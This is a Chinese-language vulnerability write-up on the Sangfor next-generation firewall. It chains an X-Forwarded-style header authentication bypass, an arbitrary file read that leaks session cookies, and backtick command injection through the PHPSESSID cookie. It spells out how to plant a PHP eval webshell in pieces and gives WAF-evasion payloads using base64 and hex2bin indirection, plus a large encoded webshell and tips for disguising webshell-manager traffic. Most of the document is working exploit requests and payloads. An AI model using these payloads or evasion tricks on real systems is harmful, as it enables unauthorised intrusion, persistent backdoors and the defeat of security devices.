深信服下一代防火墙文件读取、远程命令执行漏洞分析

近期,深信服下一代防火墙出了一个文件读取、远程命令执行漏洞,目前已公开的漏洞利用技术仅能做到简单的命令执行,无法满足实际攻防场景。本次漏洞利用,我们通过对安全防护设备的绕过,完整的实现了 PHP 代码执行和漏洞回显。

漏洞分析

该章节将从源代码的角度,深入分析以下三个漏洞点。

身份绕过

分析 apache 的配置文件

通过分析 /etc/apache/conf.new/original/httpd.conf/etc/apache/conf.new/httpd.conf 等 apache 配置文件,我们可以找到 sangfor 下一代防火墙的配置文件和敏感文件的具体路径。

ScriptAlias /cgi-bin/ "/virus/apache/apache/cgi-bin/"
Alias       /cgi-bin/ "/virus/webui/cgi-bin/"
Alias             /svpn_html/ "/virus/webui/svpn_html/"
Alias             /bbc "/virus/webui/ext/fast_deploy.html"
Alias             "/html" "/virus/webui/html"
Alias                 /proxy.html "/virus/webui/ext/login.php"
Alias             /proxy_cssp.html "/virus/webui/ext/login.php"

其中 /virus/webui/svpn_html/ 路径很重要,在后面的利用中,我们可以将文件写入该路径,并且通过外部来进行访问。

访问敏感路径会被重定向

虽然找到了敏感的路径,但是直接访问之后都会被重定向到LogInOut.php ,被迫进行身份验证。

继续查看 apche 的配置文件,我们发现了 RewriteRule 这个规则限制,以及对控制器的调用。

该规则会进行判断,将所有非特定扩展名的请求重写到 index.php 文件,从而将 URL 解析交给 index.php 来处理。

AllowOverride None: 该指令允许覆盖配置文件的设置。在这里,设置为 None 表示不允许使用.htaccess文件来覆盖配置文件中的设置。
RewriteEngine on: 开启URL重写功能。
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK): 该条件判断如果请求的方法是 TRACE 或 TRACK,则执行下面的 Rewrite 规则。
RewriteRule .* - [F]: 如果符合上述条件,将返回一个 Forbidden 错误(403)。
RewriteBase /: 设置 URL 重写的基本路径为根路径。
RewriteRule !.(js|gif|jpg|jpeg|png|css|pdf|ico|htm|html|htc|zip|crt|txt)$ index.php: 如果请求的文件不是 js、gif、jpg、jpeg、png、css、pdf、ico、htm、html、htc、zip、crt、txt 的扩展名之一,则将请求重写到 index.php 文件。
RewriteRule .(php)$ index.php: 如果请求的文件是以 .php 结尾的,则将请求重写到 index.php 文件。
require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");

$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();

此控制器类用于处理应用程序级路由。这一切都映射在 CFrontController.php ,我们可以看到端点以及与每个端点关联的相应控制器函数。如果不首先进行身份验证,则无法通过 web 页面直接访问到那些敏感路径.

img

利用dispatchRequest() 函数绕过重定向

通过查看 dispatchRequest() 函数,我们发现,它会去调用各种控制器函数。

if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')
                $t_boolNeedCheck = false;

其中该行的 IF 条件,会进行判断。如果值为 127.0.0.1 的的话,会将 boolNeedCheck 值设为 false ,进而不再进行其他的重定向逻辑判断。

由此可见,我们可以利用修改 HTTP 请求标头的方式,来绕过逻辑判断。

通过查看 apache 的配置文件,我们找到了以下配置信息。

RPAFheader 是一个 Apache 模块,用于在代理服务器后面识别客户端的真实 IP 地址。通过配置 RPAFheader 模块,可以让 Apache 在处理请求时使用代理服务器发送的请求报头中的特定字段作为客户端的IP地址,而不是默认使用代理服务器的IP地址。

结合刚刚提到的 IF 判断条件,以及修改特定标头来控制 PHP 看到的 IP 地址的方式。我们分析出,可以将请求头设置为 Y-Forwarded-For: 127.0.0.1。这样便可以绕过身份验证机制了。

文件读取

分析 loadfile.php

查看 /svpn_html/loadfile.php 分析文件读取的过程。

$file = addslashes($_GET['file']); :从 GET 请求中获取名为 `file` 的参数,并对其进行转义。
echo $file; : 将文件名输出到页面。
readfile($file); : 将文件内容输出到响应体,实现文件的下载。

之前查看 apache 配置文件,我们得到了 sangfor 下一代防火墙的真实路径和访问路径。通过分析 loadfile.php,我们得到了文件读取的访问参数。最后再添加上身份验证绕过的请求头。最终实现了文件读取的效果。

获取 PHPSESSID

可以获取到一些实时显示的文件,劫持会话 PHPSESSID

/etc/sinfor/DcUserCookie.conf
/etc/en/sinfor/DcUserCookie.conf
/config/etc/sinfor/DcUserCookie.conf
/config/etc/en/sinfor/DcUserCookie.conf
/virus/apache/apache/logs/access_log

命令执行

寻找命令执行注入点

pspy 二进制文件与 grep 命令一起放在目标框中,可以查看 Apache 进程生成的内容:

img

在进行身份验证时,发现用户名被直接传递到 shell 命令中。

img

通过浏览 CFWLogInOutDAO.php ,发现了漏洞点的存在。代码中使用了 addslashes() 来转义,但在使用 popen() 函数时却没有进行任何过滤处理。

public function remoteLogin(&$in_arrSearchCondition)
    {
        $userName = $in_arrSearchCondition ['user_name'];
        $passwd = $in_arrSearchCondition ['password'];
        //rsa的解密
        $t_strMD5 = $this->decrypt($passwd);        
        $fp = popen("/usr/sbin/remoteLogin remoteLogin $userName $t_strMD5", "r");
        $retResult = fread($fp, 20);
        pclose($fp);
        if ($retResult == "retLoginSuccess") {
            $in_arrSearchCondition ['user_name'] = $userName."_remote_";
            $t_strUserName = addslashes($in_arrSearchCondition ['user_name']);
            $t_strSQL = "SELECT * FROM FW_AUTH_dcuser.UserAuthInfo WHERE user_name = '$t_strUserName' AND status = 1 LIMIT 1";
            return $this->setSession($t_strSQL);
        }
        return false;
    }

最终我们得到了命令执行的效果,但因为取值自 cookie,因此无法用注入分号来截断命令,也无法进行URL 编码。但可以使用反引号来达成命令执行的效果。

POST /cgi-bin/login.cgi HTTP/1.1
Host: 
Cookie: PHPSESSID=`$(wget host)`;
Content-Type: Application/X-www-Form
Connection: close

 {"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "EINW" , "privacy_enable": "0"}}

深入利用 RCE

上一章节介绍到的方式,命令执行无回显,且通过 wget 下载文件的方式,限制很多。于是本章将详细介绍如何巧妙利用漏洞点,在命令执行受限且不出网的情况下,实现成功执行复杂代码的效果。

写入一句话木马

可以访问到的web路径:

/fwlib/sys/virus/webui/svpn_html

payload 传入命令部分遇到的限制

由于执行命令的路径,是在PHPSESSID,取值自cookie。所以面临一些限制。

  1. 无法注入分号截断命令
  2. 无法使用 || && 等特殊符号
  3. 想要通过echo写入文件时,>> 追加写入的方式,不可以,> 会被截断
  4. 较长的 PHP 代码部分,都无法被传入,无法正常解析,需要分段截取写入
  5. 传入命令时,需要对特殊字符进行 url 编码

由于无法用追加的方式写入到一个 php 文件内,所以将 php 的代码截断,分别写入到不同的 txt 内,最后再将这些文件的内容读取,写到 php 文件内。先写入一个小马,之后在这个小马的基础上,实现更复杂的功能。

<?php 
eval($_POST["pass"])
?>
echo -e -n \"<?php\\n\" > /fwlib/sys/virus/webui/svpn_html/1.txt

echo -e -n \"eval\" > /fwlib/sys/virus/webui/svpn_html/2.txt

echo -e -n '($_POST[\"pass' > /fwlib/sys/virus/webui/svpn_html/3.txt

echo -e -n '\"])' > /fwlib/sys/virus/webui/svpn_html/4.txt

echo -e -n \"\\n?>\\n\" > /fwlib/sys/virus/webui/svpn_html/5.txt

cat /fwlib/sys/virus/webui/svpn_html/1.txt /fwlib/sys/virus/webui/svpn_html/2.txt /fwlib/sys/virus/webui/svpn_html/3.txt /fwlib/sys/virus/webui/svpn_html/4.txt /fwlib/sys/virus/webui/svpn_html/5.txt> /fwlib/sys/virus/webui/svpn_html/xxx.php

通过这种方式写入的时候,也遇到一个问题,虽然单独写入 txt 文件时,txt 的文件名可以随意选取。但是若通过 cat>php 的方式写入。需要 txt 文件名,只有 1 位,写入的 php 文件名,3 位以下。

执行命令并回显

执行系统命令,并获得回显。

echo system("id")

但是,以这样的方式进行系统命令的执行,会有很多的限制,当执行类似echo "hello" > 1.php 这样的长命令时,会对一些特殊字符进行过滤拦截。所以只能通过这种方式执行短命令。

防护绕过

上一小节提到的代码执行过程中,会对特殊字符进行过滤,所以我们需要对 php 代码进行编码。但是编码的时候,会遇到的问题是,当执行一些特殊的 php 函数,以及外部连接的流量有恶意特征时,则会被安全防护设备检测到并拦截。因此,本小节将详细介绍如何绕过安全防护措施,并成功执行复杂的 PHP 代码。

base64 编码

当命令明文传输时,会被限制,所以想到可以对输入的命令进行 base64 编码来简单绕过。但是直接用 php 代码的 base64 函数,会被防御机制拦截,无法顺利发包。

所以想到用另外的写法,绕过防御机制

echo system($_POST[1]("cHdk"));&1=base64_decode

php 代码执行过程中,遇到的坑

  1. 当 base64 中存在 + 号,发包后会存在解析有误的问题,所以对 base64 整体这一部分,还需要对特殊字符进行额外的 url 编码

    url.QueryEscape(base64Encode(cmd))
    
  2. 当发送的命令太短(小于三位),导致 base64 长度很短时,也会面临失败的问题。这时可以利用命令的替换来绕过。

    ls   
    echo ls | sh
    

  3. WAF 设置了一些策略,对= 有限制,比如 base64 之后,结尾处有等号,一个或者两个,就会导致发包失败,但是可以在等号的后面添加空格,进行绕过。base64 后添加空格并不会影响结果。(可能 waf 为了防止赋值设置的规则,赋值字符串就会用到 $a="b"

  4. 通过利用 http 头来进行传参。限制是对长度有限制,http 头长度超过 3000 时会失败

    echo system($_POST[1]($_SERVER["HTTP_CMD"]));&1=base64_decode
    

    $_SERVER["HTTP_CMD"] 是获取 http 请求头的数据。

  5. 嵌套多层 $_POST

    既然直接传入有限制,那就通过改变写法的方式绕过,自行传参进去。

    echo system($_POST[1]($_POST[2]));&1=base64_decode&2=bHMgLw==
    

  6. 利用 hex2bin

    和 base64 一个思路,就是通过编码来绕过它的防护机制。它有一定的版本限制。(sangfor 的这个产品不支持,它的版本在5.3.2)

    echo system(hex2bin($_POST["command"])); // 普通写法
    echo system($_POST[1]("command"));&1=hex2bin // 绕过写法
    

绕过恶意流量的检测

当能执行 php 代码的时候,可能会想到用 webshell 管理工具进行连接。这个过程中遇到了两个问题。

  1. webshell 管理工具的马是可以正常写入并且在网站内通过 get 的方式能正常访问,但是在 webshell 管理工具连接的时候,就会出错。所以就想到了,可能是被防护设备拦截了。于是就需要改变马的特征,绕过防护设备。

    在此次攻击的绕过,需要修改 webshell 木马的默认连接密码、密钥 key、默认请求头

    关于webshell管理工具的流量特征,可以参考以前的文章:

    哥斯拉v4.0流量解密及特征流量提取 - Gryffinbit

    冰蝎4.0特征分析及流量检测思路 - Gryffinbit

  2. 连接的过程中,实际上 webshell 工具也要发包过去,所以,根据此次漏洞的漏洞点,还需要修改管理工具的请求头,要加上一行

    Y-Forwarded-For: 127.0.0.1
    

另外,在传 webshell 马上去的时候,因为要额外控制更多的参数、传入的内容,传入的名称。所以需要更多的变量。在这里也发现了一个有意思的坑点:

  1. 执行的函数更复杂,所以需要更多的传参点

    file_put_contents($_POST[filename],base64_decode($_POST[content]));   // 正向写法
    
    pass= $_POST[1]($_POST[2],$_POST[3]($_POST[4]));&1=file_put_contents&2=filename.php&3=base64_decode&4=PD9waHAKQHNlc3Npb25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpmdW5jdGlvbiBlbmNvZGUoJEQsJEspewogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7CiAgICAgICAgJGMgPSAkS1skaSsxJjE1XTsKICAgICAgICAkRFskaV0gPSGF5bG9hZCk7CiAgICAgICAgZWNoAgIGVjaG8gc3Vic3RyKG1kNSgkcGFzcy4ka2V5KSwxNik7CiAgICB9ZWxzZXsKICAgICAgICBpZiAoc3RycG9zKCRkYXRhLCJnZXRCYXNpY3NJbmZvIikhPT1mYWxzZSl7CiAgICAgICAgICAgICRfU0VTU0lPTlskcGF5bG9hZE5hbWVdPWVuY29kZSgkZGF0YSwka2V5KTsKICAgICAgICB9CiAgICB9Cn0K
    // 绕过写法
    
  2. 必须要在木马传参点 pass= 的后面加一个空格进行传参。

总结

通过深入研究深信服下一代防火墙的漏洞,我们摸清了该产品更多的细节,研究出了利用范围更广的攻击方式。

希望在阅读本篇文章后,能为大家带来一些新思路的启发。

参考

命令执行绕过WAF总结,RCE常见的Bypass思路 - FreeBuf网络安全行业门户

Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition — 防火墙中还有更多非身份验证远程命令执行漏洞 - Sangfor 版 (watchtowr.com)

评论